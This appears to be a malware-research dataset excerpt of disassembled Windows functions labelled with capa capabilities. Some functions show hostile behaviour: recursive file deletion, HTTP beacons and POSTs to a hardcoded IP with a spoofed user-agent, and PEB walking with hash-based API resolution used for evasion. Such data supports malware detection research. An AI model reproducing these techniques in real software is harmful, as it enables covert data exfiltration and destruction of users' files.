joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007a30
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r12, rcx
mov ecx, 0x2000
mov rbp, rdx
mov rdi, r8
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rax, rax
je 0x140007b20
xor edx, edx
mov r8d, 2
mov rcx, r12
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
test eax, eax
js 0x140007b20
mov rcx, r12
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ftell
movsxd rbx, eax
cmp rbx, rdi
jb 0x140007b20
mov r15d, 1
sub r15, rdi
mov qword [rsp + 0x28], r15
mov r13d, 0x2000
cmp rbx, r13
cmovae r13, rbx
lea r14, [r13 - 0x2000]
sub rbx, r14
cmp rbx, rdi
jb 0x140007b20
xor r8d, r8d
mov edx, r14d
mov rcx, r12
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
test eax, eax
js 0x140007b20
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
cmp rax, rbx
jne 0x140007b20
mov rdx, qword [rsp + 0x28]
lea rbx, [rdx + rax]
jmp 0x140007b0a
lea r15, [rbx - 1]
mov r8, rdi
mov rdx, rbp
lea rcx, [rsi + r15]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
je 0x140007b40
mov rbx, r15
test rbx, rbx
jne 0x140007af0
lea rbx, [r14 + rdi - 1]
test r14, r14
jne 0x140007a99
nop dword [rax]
xor ebx, ebx
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [r13 + rbx - 0x2001]
jmp 0x140007b22
Function at 0x140007b90
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
mov eax, 0x2288
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000e6f0
sub rsp, rax
lea r8, str._s
mov edx, 0x1000
lea r14, [rsp + 0x280]
mov qword [rsp + 0x22d0], rcx
mov r9, rcx
mov rcx, r14
call fcn.140007b50
cmp eax, 0xfff
jg 0x140007cf8
lea rsi, [rsp + 0x30]
lea ebx, [rax - 1]
mov r12d, 0x1000
mov rcx, r14
mov rdx, rsi
sub r12d, ebx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140007cf8
movsxd rax, ebx
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rbx, [rsp + 0x5c]
lea rbp, [0x140012d6a]
lea rax, [r14 + rax*2]
lea r15, [0x140012d6e]
mov qword [rsp + 0x20], rax
movsxd rax, r12d
mov qword [rsp + 0x28], rax
mov rdx, rbp
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
test eax, eax
je 0x140007c90
mov rdx, r15
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
test eax, eax
je 0x140007c90
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov r9, rbx
lea r8, [0x140012d74]
call fcn.140007b50
cmp eax, r12d
jge 0x140007c90
mov eax, dword [rsp + 0x30]
mov rcx, r14
test al, 0x10
je 0x140007cd8
test ah, 4
je 0x140007c89
cmp dword [rsp + 0x54], 0xa000000c
je 0x140007cf0
call fcn.140007b90
nop
mov rdx, rsi
mov rcx, r13
call rdi
test eax, eax
jne 0x140007c33
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x22d0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp eax, 1
setne al
movzx eax, al
neg eax
add rsp, 0x2288
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, rsi
mov rcx, r13
call rdi
test eax, eax
jne 0x140007c33
jmp 0x140007c9c
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140007c90
mov eax, 0xffffffff
jmp 0x140007cbe

Function at 0x140007f90
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x4028
push rbx
call fcn.14000e6f0
sub rsp, rax
xor r8d, r8d
xor edx, edx
call fcn.140008d70
lea rbx, [rsp + 0x20]
mov r8d, 0x1000
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
sub eax, 1
cmp eax, 0xffe
ja 0x140008008
lea rsi, [rsp + 0x2020]
mov r8d, 0x1000
mov rcx, rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
sub eax, 1
cmp eax, 0xffe
ja 0x140008008
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call fcn.140008c70
add rsp, 0x4028
pop rbx
pop rsi
ret
xor eax, eax
add rsp, 0x4028
pop rbx
pop rsi
ret
Function at 0x140008ac0
Capabilities:
Enumerate process modules

Disassembly:
push r15
mov eax, 0x4048
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000e6f0
sub rsp, rax
mov rbp, rcx
mov dword [rsp + 0x3c], 0
lea rbx, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
xor edx, edx
mov r9, rbx
mov rcx, rax
mov rsi, rax
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x140008b10
mov r12d, dword [rsp + 0x3c]
test r12d, r12d
jne 0x140008b28
add rsp, 0x4048
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, r12d
mov edx, 1
call sub.api_ms_win_crt_heap_l1_1_0.dll_calloc
mov rdi, rax
test rax, rax
je 0x140008b10
mov r9, rbx
mov r8d, r12d
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
jne 0x140008b70
mov rcx, rdi
add rsp, 0x4048
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sub.api_ms_win_crt_heap_l1_1_0.dll_free
lea r14, [rsp + 0x2040]
lea rcx, [rbp + 0x2022]
mov r8d, 0x1000
mov rdx, r14
call fcn.140008d70
test rax, rax
je 0x140008b52
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x3c]
shr eax, 3
je 0x140008b52
mov rbx, rdi
mov r15, rdi
lea rbp, [rsp + 0x40]
xor r13d, r13d
lea r12d, [rax*8]
add r12, rdi
nop dword [rax]
mov rdx, qword [r15]
mov r9d, 0x1000
mov r8, rbp
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x140008c03
mov r8, qword [rsp + 0x28]
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
test eax, eax
jne 0x140008c03
mov rdx, qword [r15]
movsxd rax, r13d
add r13d, 1
mov qword [rdi + rax*8], rdx
add r15, 8
cmp r15, r12
jne 0x140008bc8
test r13d, r13d
jle 0x140008b52
movsxd r13, r13d
lea r14, [rdi + r13*8]
mov r13, qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140008c35
add rbx, 8
cmp r14, rbx
je 0x140008b52
mov rdx, qword [rbx]
mov r9d, 0x1000
mov r8, rbp
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x140008c28
xor r12d, r12d
jmp 0x140008c5e
cmp r12d, 0x20
je 0x140008c28
add r12d, 1
mov rcx, qword [rbx]
call r13
test eax, eax
jne 0x140008c58
jmp 0x140008c28
Function at 0x14000d930
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.14000ece0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x14000d9a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001d394]
mov rbx, rcx
test esi, esi
jle 0x14000dad0
mov rax, qword [0x14001d398]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000d9eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000da75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000d9d0
mov rcx, rbx
call fcn.14000e410
mov rdi, rax
test rax, rax
je 0x14000daf2
mov rax, qword [0x14001d398]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000e550
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001d398]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000dad7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000da6e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000da80
add dword [0x14001d394], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001d398]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000da6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000d930
nop dword [rax]
xor esi, esi
jmp 0x14000d9f8
mov rax, qword [0x14001d398]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000d930
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000d930
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x14000e080
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001d400]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001d3e0]
test rbx, rbx
je 0x14000e0dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000e0d3
test eax, eax
jne 0x14000e0d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000e0b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000e410
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140016d80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000e430
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000e438
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000e430
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000e48d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000e484
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000e430
add rax, 0x28
cmp rax, r9
jne 0x14000e470
xor eax, eax
ret

Function at 0x14000e490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140016d80]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000e4af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000e4b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000e4af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000e550
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140016d80]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000e56f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000e578
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001590
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r12
mov eax, 0x1040
push rbp
push rdi
push rsi
push rbx
call fcn.140002d00
sub rsp, rax
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rdi, rcx
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:47.0__Gecko_20100101_Firefox_47.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rcx, rdi
mov rbp, rax
call sub.msvcrt.dll_strlen
lea r12, [rax + 5]
mov rbx, rax
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r8, [rbx + 1]
mov rdx, rdi
mov dword [rax], 0x3d64693f
lea rcx, [rax + 4]
mov rsi, rax
call sub.msvcrt.dll_memcpy
lea rcx, [rbx + 0x18]
call sub.msvcrt.dll_malloc
mov r8, r12
movabs rdx, 0x312e31312e302e30
mov rbx, rax
movabs rax, 0x312f2f3a70747468
mov qword [rbx + 8], rdx
lea rcx, [rbx + 0x13]
mov rdx, rsi
mov qword [rbx], rax
mov dword [rbx + 0x10], 0x2f3037
call sub.msvcrt.dll_memcpy
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rcx, rsi
mov rdi, rax
call sub.msvcrt.dll_free
mov rcx, rbx
call sub.msvcrt.dll_free
test rdi, rdi
je 0x1400016c8
lea rbx, [rsp + 0x40]
lea r9, [rsp + 0x3c]
mov r8d, 0x1000
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x3c]
mov rcx, rbx
mov byte [rsp + rax + 0x40], 0
call qword [sym.imp.msvcrt.dll__strdup]
mov rcx, rdi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, rax
call rsi
mov rcx, rbp
call rsi
mov rax, rbx
add rsp, 0x1040
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rbp
xor ebx, ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400016b3
Function at 0x1400016e0
Capabilities:
Connect to http server
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push r13
mov eax, 0x1078
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140002d00
sub rsp, rax
mov rbx, rdx
mov r12, rcx
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.InternetOpenA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:47.0__Gecko_20100101_Firefox_47.0
call rax
xor r9d, r9d
mov r8d, 0x50
lea rdx, str.10.0.11.170
mov rdi, rax
mov dword [rsp + 0x30], 0
mov rcx, rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rcx, rbx
mov rbp, rax
call sub.msvcrt.dll_strlen
lea rcx, [rax + 2]
mov r13, rax
call sub.msvcrt.dll_malloc
lea r8, [r13 + 1]
mov rdx, rbx
mov byte [rax], 0x2f
mov rsi, rax
lea rcx, [rax + 1]
call sub.msvcrt.dll_memcpy
xor r9d, r9d
mov r8, rsi
mov rcx, rbp
lea rdx, str.POST
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rsi
lea rsi, [rsp + 0x70]
mov rbx, rax
call sub.msvcrt.dll_free
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rcx, rbx
movabs rax, 0x2d746e65746e6f43
movabs rdx, 0x6574203a65707954
mov qword [rsp + 0x58], rdx
movabs rdx, 0x6e69616c702f74
mov qword [rsp + 0x50], rax
movabs rax, 0x786574203a657079
mov qword [rsp + 0x61], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x59], rax
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov rcx, r12
call sub.msvcrt.dll_strlen
mov r9, r12
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rdx, rsi
lea r9, [rsp + 0x4c]
mov rcx, rbx
mov r8d, 0x1000
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x4c]
mov rcx, rsi
mov byte [rsp + rax + 0x70], 0
call qword [sym.imp.msvcrt.dll__strdup]
mov rcx, rbx
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, rax
call rbx
mov rcx, rbp
call rbx
mov rcx, rdi
call rbx
mov rax, rsi
add rsp, 0x1078
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x1400019b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 1
mov qword [rsp + 0x30], 0
mov rbp, rdx
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a90
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140001a68
lea ecx, [rax + 1]
call sub.msvcrt.dll_malloc
mov rsi, rax
test rax, rax
je 0x140001adc
lea r9, [rsp + 0x4c]
mov r8d, edi
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001ab0
mov edx, dword [rsp + 0x4c]
mov byte [rsi + rdx], 0
test rbp, rbp
je 0x140001a4c
mov dword [rbp], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Could_not_get_file_size__error__lu__n
xor esi, esi
mov edx, eax
call fcn.140001530
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a55
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Could_not_open_file__error__lu__n
xor esi, esi
mov edx, eax
call fcn.140001530
jmp 0x140001a55
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Could_not_read_file__error__lu__n
mov edx, eax
call fcn.140001530
mov rcx, rsi
xor esi, esi
call sub.msvcrt.dll_free
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a55
lea rcx, str.Memory_allocation_failed_n
xor esi, esi
call fcn.140001530
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001a55

Function at 0x140001f60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007ce0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007ce0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0b4]
mov rbx, rcx
test esi, esi
jle 0x140002100
mov rax, qword [0x14000d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000201b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400020a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002000
mov rcx, rbx
call fcn.140002a20
mov rdi, rax
test rax, rax
je 0x140002122
mov rax, qword [0x14000d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002b60
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002107
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000209e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400020b0
add dword [0x14000d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000209e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001f60
nop dword [rax]
xor esi, esi
jmp 0x140002028
mov rax, qword [0x14000d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001f60
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001f60
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002690
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x1400026ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400026e3
test rsi, rsi
je 0x1400026e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400026c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002a20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a8a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a40
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a9d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a40
add rax, 0x28
cmp rax, r9
jne 0x140002a80
xor eax, eax
ret

Function at 0x140002aa0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002abf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ac8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002abf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002b60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b88
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400012e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rax, qword gs:[0x60]
mov edi, ecx
mov rdx, qword [rax + 0x18]
mov rbx, qword [rdx + 0x10]
cmp qword [rbx + 0x30], 0
je 0x140001396
nop dword [rax]
mov rdx, qword [rbx + 0x60]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.140008824
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerA]
mov r8, rax
mov edx, 0x99
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [r8 + rax], 0
jne 0x140001350
xor r9d, r9d
test rax, rax
je 0x140001388
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
lea edx, [rdx + rdx*2]
inc r9d
lea r8, [r8 + 1]
add edx, ecx
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001370
cmp edx, edi
je 0x1400013b9
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
jne 0x140001320
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001b80
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x140001398

Function at 0x1400013c0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x5a4d
mov ebp, edx
mov r11, rcx
cmp word [rcx], ax
jne 0x140001467
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001467
mov ebx, dword [rax + rcx + 0x88]
xor r10d, r10d
add rbx, rcx
mov edi, dword [rbx + 0x18]
test edi, edi
je 0x140001467
mov r14d, dword [rbx + 0x20]
nop
lea rax, [r14 + r10*4]
mov r8d, 0x99
mov edx, dword [rax + r11]
mov rax, 0xffffffffffffffff
add rdx, r11
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140001430
xor r9d, r9d
test rax, rax
je 0x14000145a
movsx ecx, byte [rdx]
lea r8d, [r8 + r8*2]
inc r9d
lea rdx, [rdx + 1]
add r8d, ecx
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001441
cmp r8d, ebp
je 0x140001480
inc r10d
cmp r10d, edi
jb 0x140001410
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
jmp 0x140001469